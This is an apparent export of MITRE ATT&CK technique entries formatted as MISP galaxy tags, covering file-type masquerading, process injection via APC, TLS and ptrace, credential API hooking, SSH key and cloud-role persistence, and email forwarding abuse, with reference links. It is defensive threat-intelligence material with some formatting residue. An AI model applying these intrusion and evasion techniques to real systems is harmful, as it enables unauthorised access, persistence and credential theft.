Common non-executable file types and extensions, such as text files (.txt) and image files (.jpg, .gif, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of `<code>test.gif</code>`. A user may not know that a file is malicious due to the benign appearance and file extension.

Polygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware.
and capabilities.(Citation: polygot_icedID)

The tag is: misp-galaxy:mitre-attack-pattern="Masquerade File Type - T1036.008"

Table 5205. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1036/008">https://attack.mitre.org/techniques/T1036/008</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload">https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload</a></td>
</tr>
</tbody>
</table>

Break Process Trees - T1036.009

An adversary may attempt to evade process tree-based analysis by modifying executed malware's parent process ID (PPID). If endpoint protection software leverages the “parent-child” relationship for detection, breaking this relationship could result in the adversary’s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022)

On Linux systems, adversaries may execute a series of [Native API](https://attack.mitre.org/techniques/T1106) calls to alter malware's process tree. For example, adversaries can execute their payload without any arguments, call the `fork()` API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the `init` system process (PID 1), which successfully disconnects the execution of the adversary’s payload from its previous process tree.

Another example is using the “daemon” syscall to detach from the current parent process and run in the background.(Citation: Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022)

The tag is: misp-galaxy:mitre-attack-pattern="Break Process Trees - T1036.009"

Table 5206. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://0xjet.github.io/3OHA/2022/04/11/post.html">https://0xjet.github.io/3OHA/2022/04/11/post.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1036/009">https://attack.mitre.org/techniques/T1036/009</a></td>
</tr>
<tr>
<td><a href="https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/">https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/</a></td>
</tr>
</tbody>
</table>

Additional Cloud Roles - T1098.003

An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient
permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins). (Citation: Expel AWS Attacker) (Citation: Microsoft O365 Admin Roles)

This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.

For example, in AWS environments, an adversary with appropriate permissions may be able to use the `<code>CreatePolicyVersion</code>` API to define a new version of an IAM policy or the `<code>AttachUserPolicy</code>` API to attach an IAM policy with additional or distinct permissions to a compromised user account. (Citation: Rhino Security Labs AWS Privilege Escalation)

The tag is: *misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003"

**Table 5207. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1098/003">https://attack.mitre.org/techniques/T1098/003</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/iam/docs/policies">https://cloud.google.com/iam/docs/policies</a></td>
</tr>
<tr>
<td><a href="https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d">https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d</a></td>
</tr>
</tbody>
</table>

**Asynchronous Procedure Call - T1055.004**

Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. APC injection is a method of executing arbitrary code in the address space of a separate live process.

APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. (Citation: Microsoft APC) A handle to an existing victim process is first created with native Windows API calls such as `<code>OpenThread</code>`. At this point `<code>QueueUserAPC</code>` can be used to invoke a function (such as `<code>LoadLibraryA</code>` pointing to a malicious DLL).

A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to
invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: `misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004"`

**Table 5208. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1055/004">https://attack.mitre.org/techniques/T1055/004</a></td>
</tr>
<tr>
<td><a href="https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows">https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows</a></td>
</tr>
</tbody>
</table>

**Web Session Cookie - T1550.004**

Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated. (Citation: Pass The Cookie)

Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

There have been examples of malware targeting session cookies to bypass multi-factor authentication systems. (Citation: Unit 42 Mac Crypto Cookies January 2019)

The tag is: `misp-galaxy:mitre-attack-pattern="Web Session Cookie - T1550.004"`

**Table 5209. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1550/004">https://attack.mitre.org/techniques/T1550/004</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/">https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/</a></td>
</tr>
</tbody>
</table>
Credential API Hooking - T1056.004

Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials. Unlike [Keylogging](https://attack.mitre.org/techniques/T1056/001), this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:

- **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)

- **Import address table (IAT) hooking**, which use modifications to a process's IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)

- **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)

The tag is: `misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004"`

**Table 5210. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.gmer.net/">http://www.gmer.net/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1056/004">https://attack.mitre.org/techniques/T1056/004</a></td>
</tr>
<tr>
<td><a href="https://github.com/jay/gethooks">https://github.com/jay/gethooks</a></td>
</tr>
<tr>
<td><a href="https://github.com/prekageo/winhook">https://github.com/prekageo/winhook</a></td>
</tr>
<tr>
<td><a href="https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis">https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis</a></td>
</tr>
<tr>
<td><a href="https://www.adlice.com/userland-rootkits-part-1-iat-hooks/">https://www.adlice.com/userland-rootkits-part-1-iat-hooks/</a></td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/docs/17802.pdf">https://www.exploit-db.com/docs/17802.pdf</a></td>
</tr>
</tbody>
</table>
SSH Authorized Keys - T1098.004

Adversaries may modify the SSH `<code>authorized_keys</code>` file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The `<code>authorized_keys</code>` file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under `<code>/user-home/.ssh/authorized_keys</code>.(Citation: SSH Authorized Keys) Users may edit the system's SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under `<code>/etc/ssh/sshd_config</code>`.

Adversaries may modify SSH `<code>authorized_keys</code>` files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI's “add-metadata” command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.

Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user.

SSH keys can also be added to accounts on network devices, such as with the `<code>ip ssh pubkey-chain</code>` command.(Citation: Cisco IP SSH Pubkey-Ch.Cmd)

The tag is: `misp-galaxy:mitre-attack-pattern="SSH Authorized Keys - T1098.004"`

Table 5211. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/">https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1098/004">https://attack.mitre.org/techniques/T1098/004</a></td>
</tr>
</tbody>
</table>
Terminal Services DLL - T1505.005

Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP. (Citation: Microsoft Remote Desktop Services)

[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a "generic" process (ex: `<code>svchost.exe</code>`) load the service's DLL file, the location of which is stored in a Registry entry named `<code>ServiceDll</code>`. (Citation: Microsoft System Services Fundamentals) The `<code>termsrv.dll</code>` file, typically stored in `%SystemRoot%\System32\`, is the default `<code>ServiceDll</code>` value for Terminal Services in HKLM\System\CurrentControlSet\services\TermService\Parameters\. Adversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts. (Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal `<code>termsrv.dll</code>` functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the `<code>termsrv.dll</code>` file or modifying the `<code>ServiceDll</code>` value to point to a DLL that provides increased RDP functionality. (Citation: Windows OS Hub RDP) (Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.

The tag is: `misp-galaxy:mitre-attack-pattern="Terminal Services DLL - T1505.005"`

Table 5212. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1505/005">https://attack.mitre.org/techniques/T1505/005</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/windows/win32/termserv/about-terminal-services">https://docs.microsoft.com/windows/win32/termserv/about-terminal-services</a></td>
</tr>
<tr>
<td><a href="https://github.com/stascorp/rdpwrap">https://github.com/stascorp/rdpwrap</a></td>
</tr>
</tbody>
</table>

2392
Thread Local Storage - T1055.005

Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process.

TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process' memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: misp-galaxy:mitre-attack-pattern="Thread Local Storage - T1055.005"

### Table 5213. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1055/005">https://attack.mitre.org/techniques/T1055/005</a></td>
</tr>
</tbody>
</table>

Ptrace System Calls - T1055.008

Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.

Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: `<code>malloc</code>` then invoking that memory with `<code>PTRACE_SETREGS</code>` to set the register containing the next instruction to execute. Ptrace system call injection can also be done with `<code>PTRACE_POKETEXT</code>`/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes' memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)
Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges. (Citation: BH Linux Inject)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: `misp-galaxy:mitre-attack-pattern="Ptrace System Calls - T1055.008"`

Table 5214. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://man7.org/linux/man-pages/man2/ptrace.2.html">http://man7.org/linux/man-pages/man2/ptrace.2.html</a></td>
</tr>
<tr>
<td><a href="http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html">http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1055/008">https://attack.mitre.org/techniques/T1055/008</a></td>
</tr>
<tr>
<td><a href="https://www.gnu.org/software/acct/">https://www.gnu.org/software/acct/</a></td>
</tr>
</tbody>
</table>

**Network Security Appliances - T1590.006**

Adversaries may gather information about the victim’s network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). (Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: `misp-galaxy:mitre-attack-pattern="Network Security Appliances - T1590.006"`

Table 5215. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

2394
Network Device CLI - T1059.008

Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands.

Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).

Adversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)

The tag is: `misp-galaxy:mitre-attack-pattern="Network Device CLI - T1059.008"`

Table 5216. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1059/008">https://attack.mitre.org/techniques/T1059/008</a></td>
</tr>
<tr>
<td><a href="https://tools.cisco.com/security/center/resources/integrity_assurance.html#23">https://tools.cisco.com/security/center/resources/integrity_assurance.html#23</a></td>
</tr>
</tbody>
</table>

Local Email Collection - T1114.001

Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.

Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\Users\<username>\Documents\Outlook Files` or `C:\Users\<username>\AppData\Local\Microsoft\Outlook`.(Citation: Microsoft Outlook Files)

The tag is: `misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001"`

Table 5217. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Remote Email Collection - T1114.002

Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific keywords.

The tag is: `misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002"`

Table 5218. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1114/002">https://attack.mitre.org/techniques/T1114/002</a></td>
</tr>
</tbody>
</table>

Compiled HTML File - T1218.001

Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)

A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

The tag is: `misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001"`

Table 5219. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1218/001">https://attack.mitre.org/techniques/T1218/001</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk">https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk</a></td>
</tr>
<tr>
<td><a href="https://msdn.microsoft.com/windows/desktop/ms524405">https://msdn.microsoft.com/windows/desktop/ms524405</a></td>
</tr>
</tbody>
</table>
Email Forwarding Rule - T1114.003

Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim’s emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)

Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)

In some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives.

The tag is: misp-galaxy:mitre-attack-pattern="Email Forwarding Rule - T1114.003"

Table 5220. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1114/003">https://attack.mitre.org/techniques/T1114/003</a></td>
</tr>
<tr>
<td><a href="https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac">https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac</a></td>
</tr>
</tbody>
</table>
Ptrace System Calls - T1631.001

Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.

Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values. Ptrace system call injection is commonly performed by writing arbitrary code into a running process (e.g., by using malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target process's memory (e.g., the current address of the next instruction).

Ptrace system call injection may not be possible when targeting processes with high-privileges, and on some systems those that are non-child processes.

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: misp-galaxy:mitre-attack-pattern="Ptrace System Calls - T1631.001"

Table 5221. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://man7.org/linux/man-pages/man2/ptrace.2.html">http://man7.org/linux/man-pages/man2/ptrace.2.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1631/001">https://attack.mitre.org/techniques/T1631/001</a></td>
</tr>
</tbody>
</table>

Office Template Macros - T1137.001

Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts.

Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that
will automatically be loaded. Shared templates may also be stored and pulled from remote locations.

Word Normal.dotm location:
[code]C:\Users\&lt;username&gt;\AppData\Roaming\Microsoft\Templates\Normal.dotm[/code]

Excel Personal.xlsb location:
[code]C:\Users\&lt;username&gt;\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB[/code]

Adversaries may also change the location of the base template to point to their own by hijacking the application’s search order, e.g. Word 2016 will first look for Normal.dotm under [code]C:\Program Files (x86)\Microsoft Office\root\Office16\[/code], or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.

An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.

The tag is: misp-galaxy:mitre-attack-pattern="Office Template Macros - T1137.001"

Table 5222. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1137/001">https://attack.mitre.org/techniques/T1137/001</a></td>
</tr>
<tr>
<td><a href="https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/">https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/</a></td>
</tr>
</tbody>
</table>

**System Language Discovery - T1614.001**

Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.
There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019)

For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key 
<code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language</code> or parsing the outputs of Windows API functions <code>GetUserDefaultUILanguage</code>, <code>GetSystemDefaultUILanguage</code>, and <code>GetKeyboardLayoutList</code> and <code>GetUserDefaultLangID</code>.(Citation: Darkside Ransomware Cybereason)(Citation: SecureList JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018)

On a macOS or Linux system, adversaries may query <code>locale</code> to retrieve the value of the <code>$LANG</code> environment variable.

The tag is: **misrgalaxy:mitre-attack-pattern="System Language Discovery - T1614.001"**

**Table 5223. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1614/001">https://attack.mitre.org/techniques/T1614/001</a></td>
</tr>
<tr>
<td><a href="https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware">https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware</a></td>
</tr>
</tbody>
</table>

**Transmitted Data Manipulation - T1641.001**

Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

Manipulation may be possible over a network connection or between system processes where there is an opportunity to deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system, typically gained through a prolonged information gathering campaign, in order to have the desired impact.

One method to achieve [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) is by modifying the contents of the device clipboard. Malicious applications may monitor clipboard activity through the `ClipboardManager.OnPrimaryClipChangedListener` interface on Android to determine when clipboard contents have changed. Listening to clipboard activity, reading...
clipboard contents, and modifying clipboard contents requires no explicit application permissions and can be performed by applications running in the background. However, this behavior has changed with the release of Android 10.

Adversaries may use [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) to replace text prior to being pasted. For example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.

[Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1641/001) was seen within the Android/Cliper.C trojan. This sample was detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)

The tag is: `misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1641.001"`

### Dead Drop Resolver - T1481.001

Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

